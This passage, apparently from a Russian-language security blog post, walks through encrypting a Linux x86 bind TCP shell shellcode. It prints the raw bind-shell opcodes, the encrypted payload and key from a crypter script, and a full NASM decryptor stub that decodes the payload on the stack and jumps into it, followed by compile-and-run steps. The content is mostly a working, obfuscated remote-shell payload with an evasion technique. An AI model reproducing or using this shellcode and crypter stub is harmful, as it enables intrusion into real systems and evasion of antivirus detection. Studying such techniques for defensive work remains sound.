$hexopcode bind_tcp_shell  31c031db31f6566a016a02b066b30189e1cd8089c25666680929666a0289e16a105152b066b30289e1cd806a0152b066b30489e1cd80565652b066b30589e1cd8089c231c9b10389d349b03fcd8079f931c050682f2f7368682f62696e89e35089e25389e1b00bcd80

Зашифруем его:

$./crypter.py 31c031db31f6566a016a02b066b30189e1cd8089c25666680929666a0289e16a105152b066b30289e1cd806a0152b066b30489e1cd80565652b066b30589e1cd8089c231c9b10389d349b03fcd8079f931c050682f2f7368682f62696e89e35089e25389e1b00bcd80 *******************************Encrypted shellcode******************************* 4af2f48df478632d902db527287245fb5d8f38accc18f7b4ccae29ffc514fc2dc614d5e12946c535068f392d921449b111c738a35042da18dd730a75c04b8719c5b93cab8b31554c7fb773fa8f0cb976f37ba483f2bf361ee5f1132c20ba09bf4b86ad4c6f72b78f13 ***********************************KEY******************************************* 0x19,0x32,0xc3,0xb2,0xc3,0x82,0x0d,0xc3,0x8f,0xc3,0xb3,0x77,0xc2,0xbf,0x44,0x72,0x7c,0xc2,0xb8,0x23,0x0a,0xc2,0x91,0x4c,0xc3,0x85,0xc3,0x95,0xc3,0x8b,0x1b,0xc3,0xb6,0xc3,0x83,0x31,0xc3,0x93,0xc3,0xac,0x25,0xc2,0xb9,0xc3,0x91,0xc2,0x99,0x4b,0x5e,0xc3,0xaf,0xc2,0x83,0xc2,0x84,0xc2,0x8b,0xc3,0xa4,0xc2,0xbb,0xc2,0xa6,0x4c,0x45,0x30,0x7a,0x7a,0xc2,0x80,0x52,0xc3,0xac,0x6e,0xc3,0xbb,0xc2,0x8c,0x40,0x7d,0xc2,0xbb,0x54,0x1b,0xc3,0x90,0xc3,0xb6,0x7d,0xc2,0xb1,0xc3,0xb2,0x31,0x26,0x6f,0xc2,0xa4,0x5a,0xc3,0x8e,0xc2,0xac,0xc2,0x93, ***********************************KEY LENGTH************************************ 105

Выведем на печать push-инструкции для нашего результата:

$python3 hex2stack.py 4af2f48df478632d902db527287245fb5d8f38accc18f7b4ccae29ffc514fc2dc614d5e12946c535068f392d921449b111c738a35042da18dd730a75c04b8719c5b93cab8b31554c7fb773fa8f0cb976f37ba483f2bf361ee5f1132c20ba09bf4b86ad4c6f72b78f13 	push 0x90909013 	push 0x8fb7726f         ...

Заполним все необходимые параметры в asm-файле.

	section .text global _start  _start: 	; push encrypted shellcode 	push 0x90909013 	push 0x8fb7726f 	push 0x4cad864b 	push 0xbf09ba20 	push 0x2c13f1e5 	push 0x1e36bff2 	push 0x83a47bf3 	push 0x76b90c8f 	push 0xfa73b77f 	push 0x4c55318b 	push 0xab3cb9c5 	push 0x19874bc0 	push 0x750a73dd 	push 0x18da4250 	push 0xa338c711 	push 0xb1491492 	push 0x2d398f06 	push 0x35c54629 	push 0xe1d514c6 	push 0x2dfc14c5 	push 0xff29aecc 	push 0xb4f718cc 	push 0xac388f5d 	push 0xfb457228 	push 0x27b52d90 	push 0x2d6378f4 	push 0x8df4f24a  	jmp getdata next:	pop ebx  	mov esi, esp 	mov edi, esp 	; place key length 	mov ecx, 105  decrypt: 	lodsb 	sub al, byte [ebx] 	inc ebx 	stosb 	loop decrypt  	jmp esp 	; exit 	xor eax, eax 	mov al, 1 	xor ebx, ebx 	int 0x80   getdata: call next 	; Place key on next line 	key db 0x19,0x32,0xc3,0xb2,0xc3,0x82,0x0d,0xc3,0x8f,0xc3,0xb3,0x77,0xc2,0xbf,0x44,0x72,0x7c,0xc2,0xb8,0x23,0x0a,0xc2,0x91,0x4c,0xc3,0x85,0xc3,0x95,0xc3,0x8b,0x1b,0xc3,0xb6,0xc3,0x83,0x31,0xc3,0x93,0xc3,0xac,0x25,0xc2,0xb9,0xc3,0x91,0xc2,0x99,0x4b,0x5e,0xc3,0xaf,0xc2,0x83,0xc2,0x84,0xc2,0x8b,0xc3,0xa4,0xc2,0xbb,0xc2,0xa6,0x4c,0x45,0x30,0x7a,0x7a,0xc2,0x80,0x52,0xc3,0xac,0x6e,0xc3,0xbb,0xc2,0x8c,0x40,0x7d,0xc2,0xbb,0x54,0x1b,0xc3,0x90,0xc3,0xb6,0x7d,0xc2,0xb1,0xc3,0xb2,0x31,0x26,0x6f,0xc2,0xa4,0x5a,0xc3,0x8e,0xc2,0xac,0xc2,0x93,

Компилируем

$nasm32 encrypted_bind

Получим опкод из файла

$popcode encrypted_bind

Поместим всё это в shellcode.c, скомпилируем и запустим.

image

Ссылки

Все ссылки на файлы и примеры вы можете найти здесь.

Первоисточник.

ссылка на оригинал статьи https://habr.com/ru/company/dsec/blog/488416/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *